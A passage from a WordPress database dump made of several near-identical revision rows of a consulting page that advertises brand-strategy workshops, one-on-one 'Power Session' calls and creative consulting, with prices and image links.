the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em></div>\r\n<div></div>\r\n<div>All our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures,and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series</strong></em>\r\n\r\n</div>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 11:38:46', '2015-10-13 18:38:46', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3151, 2, '2015-10-13 11:40:32', '2015-10-13 18:40:32', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>We offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n<div></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures,and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.<em>\r\n\r\n<strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series</strong></em></div>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 11:40:32', '2015-10-13 18:40:32', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3152, 2, '2015-10-13 11:47:27', '2015-10-13 18:47:27', '', 'Creative Consulting', 0, '', 'inherit', 'open', 'closed', '', 'creative-consulting', '', '', '2015-10-13 11:47:27', '2015-10-13 18:47:27', '', 3058, 'http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg', 0, 'attachment', 'image/jpeg', 0),
(3153, 2, '2015-10-13 12:04:56', '2015-10-13 19:04:56', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>We offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n<div></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<strong>Investment: $10,000 USD each workshop</strong>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n\r\n<span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 12:04:56', '2015-10-13 19:04:56', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3154, 2, '2015-10-13 12:09:00', '2015-10-13 19:09:00', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>For growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n<div></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n\r\n<span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 12:09:00', '2015-10-13 19:09:00', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0);
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(3159, 2, '2015-10-13 12:26:54', '2015-10-13 19:26:54', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>For growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n<div></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n\r\n<span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how to help you achieve your desired outcomes.</h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 12:26:54', '2015-10-13 19:26:54', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3155, 2, '2015-10-13 12:12:26', '2015-10-13 19:12:26', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>For growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n<div></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n\r\n<span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how to help you achieve your desired outcomes.</h2>', 'White Hot Center Consulting Programs', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 12:12:26', '2015-10-13 19:12:26', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3156, 2, '2015-10-13 12:16:29', '2015-10-13 19:16:29', '<h1>White Hot Center Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>For growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n<div></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the current issues facing your brand, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary documenting the decisions and hypothesis discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your marketing program implementation.\r\n\r\n<em><strong>Investment: $10,000 USD each workshop</strong></em>\r\n<em> <strong> Special discounts available when booking as a complete series.</strong></em>\r\n\r\n<img class="alignnone size-full wp-image-3152" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Creative-Consulting.jpg" alt="Creative Consulting" width="340" height="200" />\r\n\r\n<span style="color: #ff6600;"><strong>Brand Transformation and Creative Consulting</strong></span>\r\nStrategic and creative transformation guidance designed to elevate the quality of your presence in the marketplace and support your competitive advantage. Collaborating closely with you and your management team in three-month modules, we provide strategic insight and creative guidance to design the physical framework to transform your business enterprise for its next level of growth. Our creative guidance provides your marketing teams with the tools to visualize your bigger future through specialized expertise in corporate and brand identity development, naming, retail presence, digital presence, brand environments and marketing communications planning.\r\n\r\n<em><strong>Investment: $10,000 per month (Three-month minimum)</strong></em>\r\n\r\n</div>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how to help you achieve your desired outcomes.</h2>', 'Strategic Brand Development Consulting', 0, '', 'inherit', 'closed', 'closed', '', '3058-revision-v1', '', '', '2015-10-13 12:16:29', '2015-10-13 19:16:29', '', 3058, 'http://whc.fbdev.org/2015/10/3058-revision-v1/', 0, 'revision', '', 0),
(3157, 2, '2015-10-13 12:18:10', '2015-10-13 19:18:10', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="alignnone size-full wp-image-3138" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n\r\n<strong><span style="color: #ff6600;">Power Session Jams</span>\r\n</strong>The 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n<span style="color: #ff6600;"><img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" /></span>\r\n\r\n<strong><span style="color: #ff6600;">Strategic Brand Development Workshops</span>\r\n</strong>For growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<em>The Brand Positioning Workshop</em>\r\n<em>This issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n</em>\r\n\r\n<em>The Brand Storytelling Workshop</em>\r\n<em>The power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.</em>\r\n<div id="stcpDiv"><em>The Brand Voice Workshop\r\n</em><em>This one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.</em>\r\n<div></div>\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter. Typically our workshops are conducted as off-sites in locations determined by the client. All our strategic brand development workshop programs include an assessment of the 